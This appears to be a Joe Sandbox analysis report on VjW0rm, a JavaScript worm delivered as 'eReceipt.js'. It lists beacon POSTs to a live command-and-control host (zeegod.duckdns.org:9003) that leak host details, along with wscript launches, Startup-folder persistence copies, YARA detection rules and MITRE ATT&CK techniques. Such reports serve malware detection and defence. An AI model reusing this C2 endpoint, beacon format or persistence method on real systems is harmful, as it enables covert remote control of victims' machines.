May 17, 2022 23:11:01.956106901 CEST	12089	OUT	POST /Vre HTTP/1.1 Accept: / User-Agent: vjw0rm_0453C53E\computer\user\Microsoft Windows 10 Pro\Windows Defender\\YES\FALSE\ Accept-Language: en-us UA-CPU: AMD64 Accept-Encoding: gzip, deflate Host: zeegod.duckdns.org:9003 Content-Length: 0 Connection: Keep-Alive Cache-Control: no-cache
May 17, 2022 23:11:28.129105091 CEST	13186	IN	HTTP/1.1 200 OK Transfer-Encoding: chunked Server: Microsoft-HTTPAPI/2.0 Date: Tue, 17 May 2022 21:11:28 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0
May 17, 2022 23:11:36.348809958 CEST	13442	OUT	POST /Vre HTTP/1.1 Accept: / User-Agent: vjw0rm_0453C53E\computer\user\Microsoft Windows 10 Pro\Windows Defender\\YES\FALSE\ Accept-Language: en-us UA-CPU: AMD64 Accept-Encoding: gzip, deflate Host: zeegod.duckdns.org:9003 Content-Length: 0 Connection: Keep-Alive Cache-Control: no-cache
May 17, 2022 23:12:06.481405973 CEST	13508	IN	HTTP/1.1 200 OK Transfer-Encoding: chunked Server: Microsoft-HTTPAPI/2.0 Date: Tue, 17 May 2022 21:12:06 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0
May 17, 2022 23:12:13.751390934 CEST	13508	OUT	POST /Vre HTTP/1.1 Accept: / User-Agent: vjw0rm_0453C53E\computer\user\Microsoft Windows 10 Pro\Windows Defender\\YES\FALSE\ Accept-Language: en-us UA-CPU: AMD64 Accept-Encoding: gzip, deflate Host: zeegod.duckdns.org:9003 Content-Length: 0 Connection: Keep-Alive Cache-Control: no-cache
May 17, 2022 23:12:44.730590105 CEST	13523	IN	HTTP/1.1 200 OK Transfer-Encoding: chunked Server: Microsoft-HTTPAPI/2.0 Date: Tue, 17 May 2022 21:12:44 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0
May 17, 2022 23:12:51.777445078 CEST	13523	OUT	POST /Vre HTTP/1.1 Accept: / User-Agent: vjw0rm_0453C53E\computer\user\Microsoft Windows 10 Pro\Windows Defender\\YES\FALSE\ Accept-Language: en-us UA-CPU: AMD64 Accept-Encoding: gzip, deflate Host: zeegod.duckdns.org:9003 Content-Length: 0 Connection: Keep-Alive Cache-Control: no-cache
May 17, 2022 23:13:23.759994030 CEST	13538	IN	HTTP/1.1 200 OK Transfer-Encoding: chunked Server: Microsoft-HTTPAPI/2.0 Date: Tue, 17 May 2022 21:13:23 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0
May 17, 2022 23:13:30.858787060 CEST	13538	OUT	POST /Vre HTTP/1.1 Accept: / User-Agent: vjw0rm_0453C53E\computer\user\Microsoft Windows 10 Pro\Windows Defender\\YES\FALSE\ Accept-Language: en-us UA-CPU: AMD64 Accept-Encoding: gzip, deflate Host: zeegod.duckdns.org:9003 Content-Length: 0 Connection: Keep-Alive Cache-Control: no-cache

Target ID:	0
Start time:	23:09:37
Start date:	17/05/2022
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\wscript.exe "C:\Users\user\Desktop\eReceipt.js"
Imagebase:	0x7ff6e8370000
File size:	163840 bytes
MD5 hash:	9A68ADD12EB50DDE7586782C3EB9FF9C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: SUSP_Base64_Encoded_Hex_Encoded_Code, Description: Detects hex encoded code that has been base64 encoded, Source: 00000000.00000002.881750287.000001C6DCC58000.00000004.00000020.00020000.00000000.sdmp, Author: Florian Roth Rule: SUSP_Base64_Encoded_Hex_Encoded_Code, Description: Detects hex encoded code that has been base64 encoded, Source: 00000000.00000002.881896029.000001C6DCCF0000.00000004.00000020.00020000.00000000.sdmp, Author: Florian Roth Rule: SUSP_Base64_Encoded_Hex_Encoded_Code, Description: Detects hex encoded code that has been base64 encoded, Source: 00000000.00000002.881056008.000001C6DADBA000.00000004.00000020.00020000.00000000.sdmp, Author: Florian Roth Rule: SUSP_Base64_Encoded_Hex_Encoded_Code, Description: Detects hex encoded code that has been base64 encoded, Source: 00000000.00000003.353378984.000001C6DCC2F000.00000004.00000020.00020000.00000000.sdmp, Author: Florian Roth Rule: SUSP_Base64_Encoded_Hex_Encoded_Code, Description: Detects hex encoded code that has been base64 encoded, Source: 00000000.00000002.880778085.000001C6DAD96000.00000004.00000020.00020000.00000000.sdmp, Author: Florian Roth
Reputation:	high

Show Windows behavior

Target ID:	1
Start time:	23:09:40
Start date:	17/05/2022
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\wscript.exe" //B "C:\Users\user\AppData\Roaming\XZqsVjnTsr.js
Imagebase:	0x7ff6e8370000
File size:	163840 bytes
MD5 hash:	9A68ADD12EB50DDE7586782C3EB9FF9C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: webshell_asp_generic, Description: Generic ASP webshell which uses any eval/exec function indirectly on user input or writes a file, Source: 00000001.00000002.881083256.000001FE4248F000.00000004.00000020.00020000.00000000.sdmp, Author: Arnim Rupp Rule: JoeSecurity_VjW0rm, Description: Yara detected VjW0rm, Source: 00000001.00000002.881083256.000001FE4248F000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_VjW0rm, Description: Yara detected VjW0rm, Source: 00000001.00000002.881826906.000001FE441D1000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high

Show Windows behavior

Target ID:	5
Start time:	23:09:51
Start date:	17/05/2022
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\eReceipt.js"
Imagebase:	0x7ff6e8370000
File size:	163840 bytes
MD5 hash:	9A68ADD12EB50DDE7586782C3EB9FF9C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: SUSP_Base64_Encoded_Hex_Encoded_Code, Description: Detects hex encoded code that has been base64 encoded, Source: 00000005.00000002.882946701.000001B3A0557000.00000004.00000020.00020000.00000000.sdmp, Author: Florian Roth Rule: SUSP_Base64_Encoded_Hex_Encoded_Code, Description: Detects hex encoded code that has been base64 encoded, Source: 00000005.00000002.884283434.000001B3A0DF0000.00000004.00000020.00020000.00000000.sdmp, Author: Florian Roth Rule: SUSP_Base64_Encoded_Hex_Encoded_Code, Description: Detects hex encoded code that has been base64 encoded, Source: 00000005.00000003.815386378.000001B39E7A7000.00000004.00000020.00020000.00000000.sdmp, Author: Florian Roth Rule: SUSP_Base64_Encoded_Hex_Encoded_Code, Description: Detects hex encoded code that has been base64 encoded, Source: 00000005.00000002.881460459.000001B39E783000.00000004.00000020.00020000.00000000.sdmp, Author: Florian Roth Rule: SUSP_Base64_Encoded_Hex_Encoded_Code, Description: Detects hex encoded code that has been base64 encoded, Source: 00000005.00000003.390360933.000001B3A054F000.00000004.00000020.00020000.00000000.sdmp, Author: Florian Roth Rule: SUSP_Base64_Encoded_Hex_Encoded_Code, Description: Detects hex encoded code that has been base64 encoded, Source: 00000005.00000002.881618761.000001B39E7A7000.00000004.00000020.00020000.00000000.sdmp, Author: Florian Roth Rule: SUSP_Base64_Encoded_Hex_Encoded_Code, Description: Detects hex encoded code that has been base64 encoded, Source: 00000005.00000003.815331689.000001B3A0557000.00000004.00000020.00020000.00000000.sdmp, Author: Florian Roth
Reputation:	high

Show Windows behavior

Target ID:	6
Start time:	23:09:57
Start date:	17/05/2022
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\wscript.exe" //B "C:\Users\user\AppData\Roaming\XZqsVjnTsr.js
Imagebase:	0x7ff6e8370000
File size:	163840 bytes
MD5 hash:	9A68ADD12EB50DDE7586782C3EB9FF9C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_VjW0rm, Description: Yara detected VjW0rm, Source: 00000006.00000002.880223665.000001C979E1C000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_VjW0rm, Description: Yara detected VjW0rm, Source: 00000006.00000002.881056542.000001C97BC3F000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_VjW0rm, Description: Yara detected VjW0rm, Source: 00000006.00000002.880198899.000001C979E13000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high

Analysis Process: wscript.exePID: 4448, Parent PID: 3808

General

Target ID:	7
Start time:	23:10:00
Start date:	17/05/2022
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\XZqsVjnTsr.js"
Imagebase:	0x7ff6e8370000
File size:	163840 bytes
MD5 hash:	9A68ADD12EB50DDE7586782C3EB9FF9C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_VjW0rm, Description: Yara detected VjW0rm, Source: 00000007.00000003.827815477.00000280C91ED000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_VjW0rm, Description: Yara detected VjW0rm, Source: 00000007.00000002.882667131.00000280CABE0000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: webshell_asp_generic, Description: Generic ASP webshell which uses any eval/exec function indirectly on user input or writes a file, Source: 00000007.00000002.881255255.00000280C91ED000.00000004.00000020.00020000.00000000.sdmp, Author: Arnim Rupp Rule: JoeSecurity_VjW0rm, Description: Yara detected VjW0rm, Source: 00000007.00000002.881255255.00000280C91ED000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high

Show Windows behavior

Target ID:	9
Start time:	23:10:09
Start date:	17/05/2022
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\eReceipt.js"
Imagebase:	0x7ff6e8370000
File size:	163840 bytes
MD5 hash:	9A68ADD12EB50DDE7586782C3EB9FF9C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: SUSP_Base64_Encoded_Hex_Encoded_Code, Description: Detects hex encoded code that has been base64 encoded, Source: 00000009.00000002.880440429.0000011D6BAC4000.00000004.00000020.00020000.00000000.sdmp, Author: Florian Roth Rule: SUSP_Base64_Encoded_Hex_Encoded_Code, Description: Detects hex encoded code that has been base64 encoded, Source: 00000009.00000002.882515571.0000011D6E1A0000.00000004.00000020.00020000.00000000.sdmp, Author: Florian Roth Rule: SUSP_Base64_Encoded_Hex_Encoded_Code, Description: Detects hex encoded code that has been base64 encoded, Source: 00000009.00000002.880465658.0000011D6BAE4000.00000004.00000020.00020000.00000000.sdmp, Author: Florian Roth Rule: SUSP_Base64_Encoded_Hex_Encoded_Code, Description: Detects hex encoded code that has been base64 encoded, Source: 00000009.00000002.881676533.0000011D6D82C000.00000004.00000020.00020000.00000000.sdmp, Author: Florian Roth
Reputation:	high

Analysis Process: wscript.exePID: 2312, Parent PID: 5768

General

Target ID:	10
Start time:	23:10:15
Start date:	17/05/2022
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\wscript.exe" //B "C:\Users\user\AppData\Roaming\XZqsVjnTsr.js
Imagebase:	0x7ff6e8370000
File size:	163840 bytes
MD5 hash:	9A68ADD12EB50DDE7586782C3EB9FF9C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_VjW0rm, Description: Yara detected VjW0rm, Source: 0000000A.00000002.881711321.00000239FAA0F000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_VjW0rm, Description: Yara detected VjW0rm, Source: 0000000A.00000002.880995729.00000239F8BE0000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high

Analysis Process: wscript.exePID: 5512, Parent PID: 3808

General

Target ID:	12
Start time:	23:10:17
Start date:	17/05/2022
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\XZqsVjnTsr.js"
Imagebase:	0x7ff6e8370000
File size:	163840 bytes
MD5 hash:	9A68ADD12EB50DDE7586782C3EB9FF9C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_VjW0rm, Description: Yara detected VjW0rm, Source: 0000000C.00000002.880769506.00000171E040E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: webshell_asp_generic, Description: Generic ASP webshell which uses any eval/exec function indirectly on user input or writes a file, Source: 0000000C.00000002.880832784.00000171E0417000.00000004.00000020.00020000.00000000.sdmp, Author: Arnim Rupp Rule: JoeSecurity_VjW0rm, Description: Yara detected VjW0rm, Source: 0000000C.00000002.880832784.00000171E0417000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_VjW0rm, Description: Yara detected VjW0rm, Source: 0000000C.00000002.881396869.00000171E222F000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security

Analysis Process: wscript.exePID: 792, Parent PID: 3808

General

Target ID:	16
Start time:	23:10:25
Start date:	17/05/2022
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\eReceipt.js"
Imagebase:	0x7ff6e8370000
File size:	163840 bytes
MD5 hash:	9A68ADD12EB50DDE7586782C3EB9FF9C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: SUSP_Base64_Encoded_Hex_Encoded_Code, Description: Detects hex encoded code that has been base64 encoded, Source: 00000010.00000002.882089368.00000244AF3F0000.00000004.00000020.00020000.00000000.sdmp, Author: Florian Roth Rule: SUSP_Base64_Encoded_Hex_Encoded_Code, Description: Detects hex encoded code that has been base64 encoded, Source: 00000010.00000002.880524674.00000244AD5E3000.00000004.00000020.00020000.00000000.sdmp, Author: Florian Roth Rule: SUSP_Base64_Encoded_Hex_Encoded_Code, Description: Detects hex encoded code that has been base64 encoded, Source: 00000010.00000002.883937570.00000244AFD70000.00000004.00000020.00020000.00000000.sdmp, Author: Florian Roth Rule: SUSP_Base64_Encoded_Hex_Encoded_Code, Description: Detects hex encoded code that has been base64 encoded, Source: 00000010.00000002.880727385.00000244AD604000.00000004.00000020.00020000.00000000.sdmp, Author: Florian Roth Rule: SUSP_Base64_Encoded_Hex_Encoded_Code, Description: Detects hex encoded code that has been base64 encoded, Source: 00000010.00000003.457112240.00000244AF413000.00000004.00000020.00020000.00000000.sdmp, Author: Florian Roth

Show Windows behavior

Target ID:	18
Start time:	23:10:29
Start date:	17/05/2022
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\wscript.exe" //B "C:\Users\user\AppData\Roaming\XZqsVjnTsr.js
Imagebase:	0x7ff6e8370000
File size:	163840 bytes
MD5 hash:	9A68ADD12EB50DDE7586782C3EB9FF9C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_VjW0rm, Description: Yara detected VjW0rm, Source: 00000012.00000002.881139684.0000026BB35D2000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: webshell_asp_generic, Description: Generic ASP webshell which uses any eval/exec function indirectly on user input or writes a file, Source: 00000012.00000002.879936544.0000026BB17B2000.00000004.00000020.00020000.00000000.sdmp, Author: Arnim Rupp Rule: JoeSecurity_VjW0rm, Description: Yara detected VjW0rm, Source: 00000012.00000002.879936544.0000026BB17B2000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security

Analysis Process: wscript.exePID: 1928, Parent PID: 3808

General

Target ID:	19
Start time:	23:10:34
Start date:	17/05/2022
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\XZqsVjnTsr.js"
Imagebase:	0x7ff6e8370000
File size:	163840 bytes
MD5 hash:	9A68ADD12EB50DDE7586782C3EB9FF9C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Disassembly

⊘No disassembly

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to achieve execution. WMI is a Windows administration feature that provides a uniform environment for local and remote access to Windows system components. It relies on the WMI service for local and remote access and the server message block (SMB) and Remote Procedure Call Service (RPCS) for remote access. RPCS operates over port 135.
Tactics:	Execution
Data Sources:	Authentication logs, Netflow/Enclave netflow, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in. These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	File monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port paring that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may encode data to make the content of command and control traffic more difficult to detect. Command and control (C2) information can be encoded using a standard data encoding system. Use of data encoding may adhere to existing protocol specifications and includes use of ASCII, Unicode, Base64, MIME, or other binary-to-text and character encoding systems.Some data encoding systems may also result in data compression, such as gzip.
Tactics:	Command and Control
Data Sources:	Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report eReceipt.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

Data Obfuscation

Snort Signatures

Joe Sandbox Signatures

AV Detection

Spreading

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\XZqsVjnTsr.js

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\eReceipt.js

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\eReceipt.js:Zone.Identifier

C:\Users\user\AppData\Roaming\XZqsVjnTsr.js

C:\Users\user\AppData\Roaming\eReceipt.js

C:\Users\user\AppData\Roaming\eReceipt.js:Zone.Identifier

Static File Info

General

File Icon

Network Behavior

Snort IDS Alerts

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

DNS Answers

HTTP Request Dependency Graph

Windows Analysis Report
eReceipt.js